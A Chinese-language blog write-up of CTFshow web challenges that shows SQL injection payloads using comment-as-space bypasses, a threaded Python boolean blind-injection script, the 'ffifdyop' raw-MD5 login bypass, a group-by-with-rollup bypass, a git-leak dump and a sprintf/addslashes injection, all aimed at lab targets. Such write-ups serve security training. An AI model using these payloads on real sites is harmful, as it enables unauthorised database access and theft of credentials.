CTFshow_web


web7:联合查询注入过滤空格(考点:联合查询注入绕过)

将空格换为%09或/**/来绕过

获取表名payload

id=-1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()

flag,page,user

获取列名payload

id=-1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_schema=database()

flag,id,title,content,id,username,password

获取flag

id=-1/**/union/**/select/**/1,group_concat(flag),3/**/from/**/web7.flag
ctfshow{e3588acc-a317-455c-8d41-c80827f1588b}

web8:过滤union和空格(考点:布尔盲注)

于是通过盲注的方法

写一个布尔盲注脚本

import requests
import threading


url='http://bc6797c9-75c5-4ae8-8740-2998be71fadd.challenge.ctf.show/index.php?id=-1/**/or/**/'

def get_len(url, payload):
    for i in range(1, 100):
        urls = url + payload + str(i)
        resp = requests.get(urls)
        if 'If' in resp.text:
            return i


def get_correct(url,len,payload):
    correct = ''
    for i in range(1,int(len)+1):
        for j in range(31,128):
            urls = url+payload+str(i)+'/**/for/**/1)))='+str(j)
            resp = requests.get(urls)
            if 'If' in resp.text:
                correct += chr(j)
                print(j,chr(j),correct)
                break
    return correct


def force_database():
    database_len_payload = '(select/**/length(database()))='
    databse_len = get_len(url,database_len_payload)
    print(f'database_len:{databse_len}')

    database_payload = '(select/**/ascii(substr(database()/**/from/**/'
    database = get_correct(url,databse_len,database_payload)
    print(f'database:{database}')


def force_table():
    table_len_payload = '(select/**/length((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())))='
    table_len = get_len(url,table_len_payload)
    print('table_len:'+str(table_len))

    table_names_payload = '(select/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/'
    table_names = get_correct(url,table_len,table_names_payload)
    print('table_names:'+table_names)


def force_column():
    column_names_len_payload = '(select/**/length((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167)))='
    columns_len = get_len(url,column_names_len_payload)
    print('columns_len:'+str(columns_len))

    column_names_payload = '(select/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167)/**/from/**/'
    column_names = get_correct(url,columns_len,column_names_payload)
    print('column_names:'+column_names)


def force_flag():
    flag_len_payload = '(select/**/length((select/**/group_concat(flag)/**/from/**/web8.flag)))='
    flag_len = get_len(url,flag_len_payload)
    print('flag_len:'+str(flag_len))

    flag_payload = '(select/**/ascii(substr((select/**/group_concat(flag)/**/from/**/web8.flag)/**/from/**/'
    flag = get_correct(url,flag_len,flag_payload)
    print('flag:'+flag)


if __name__ == '__main__':
    thread_num = 50
    for x in range(thread_num):
        t = threading.Thread(target=force_flag)
        t.start()

最终拿到flag

ctfshow{a8576530-bc13-4ea2-8976-d52947a19dbf}

image-20241125235531635

web9

进入页面只有一个登录框,于是访问robots.txt文件看看

发现存在目录index.phps,访问后下载到源码

<?php
        $flag="";
		$password=$_POST['password'];
		if(strlen($password)>10){
			die("password error");
		}
		$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){    //行数大于零,即查询到的数据不为空
					while($row=mysqli_fetch_assoc($result)){
						 echo "登陆成功<br>";
						 echo $flag;
					 }
			}
    ?>

mysqli_num_rows函数用于获取 MySQL 查询结果集中行的数量。

mysqli_fetch_assoc用于从查询结果中获取一行数据,并以 关联数组 的形式返回该行的结果。每个列名作为数组的键,列值作为数组的值。

思路:sql语句对传入的密码值进行md5加密,利用MD5加密漏洞来绕过

ffifdyop 的MD5加密结果是 276f722736c95d99e921722cf9ed621c

经过MySQL编码后会变成'or'6xxx,使SQL恒成立,相当于万能密码,可以绕过md5()函数的加密

所以输入密码为ffifdyop,即可得到flag

ctfshow{a4c45b65-139b-4c53-b133-fd332ca629ac}

image-20241204213742362

web10

源码

<?php
		$flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						if($password==$row['password']){
							echo "登陆成功<br>";
							echo $flag;
						}

					 }
			}
    ?>

过滤了很多注入语句
这里主要用group by和with rollup相结合
group by就是一个排列,默认升序
with rollup (group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计)
即添加with rollup后查询结果中将会多出一行,其中group by 后面的那个列为null,count(*)为统计和。
payload

username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=

image-20241204221911677

给她

知识点:sprintf函数与addslashes函数连用会造成逻辑漏洞

进入题目发现SQL注入,但单引号被转义

image-20241204222745951

宽字节注入也试了一下,不行。而且注释符也不行,怀疑是预编译

image-20241204222830834

扫目录发现有.git文件,于是githack工具获取git泄露信息

python githack.py https://004119f7-c318-4136-bf28-dbdb5becdb86.challenge.ctf.show/.git

得到hint.php

<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));   //转义单引号
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>

关键点:sprintf函数会将**%\,%1$\占位符替换为空**,如下所示

<?php
$sql="select * from user where username='%\' and 1=1 #';";
$user='admin';
echo sprintf($sql,$user);
?>
//打印出来:select * from user where username='' and 1=1 #';

构造payload

?name=admin&pass=%1$' or 1=1--+
后台执行的php语句为:$sql = sprintf(" select * from user where name='admin' and pass='%1$\' or 1=1--+' ");
因为sprintf会将其中的  %1$\  替换为空
所以最后执行的sql语句为:select * from user where name='admin' and pass='' or 1=1 --+'
--+注释后,即为:select * from user where name='admin' and pass='' or 1=1

image-20241204234103200

得到报错页面,查看源代码

image-20241204234155071

image-20241204235121796

用load_file 读文件失败

然后发现刚刚这个页面下面有一行这个输出,是flag.txt文件里的内容image-20241205000354399

抓包发现,cookie:file=666c61672e747874,是flag.txt的十六进制数

image-20241205000559349

把它改为/flag的十六进制数,拿到flag


文章作者: 0x00dream
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0x00dream !
  目录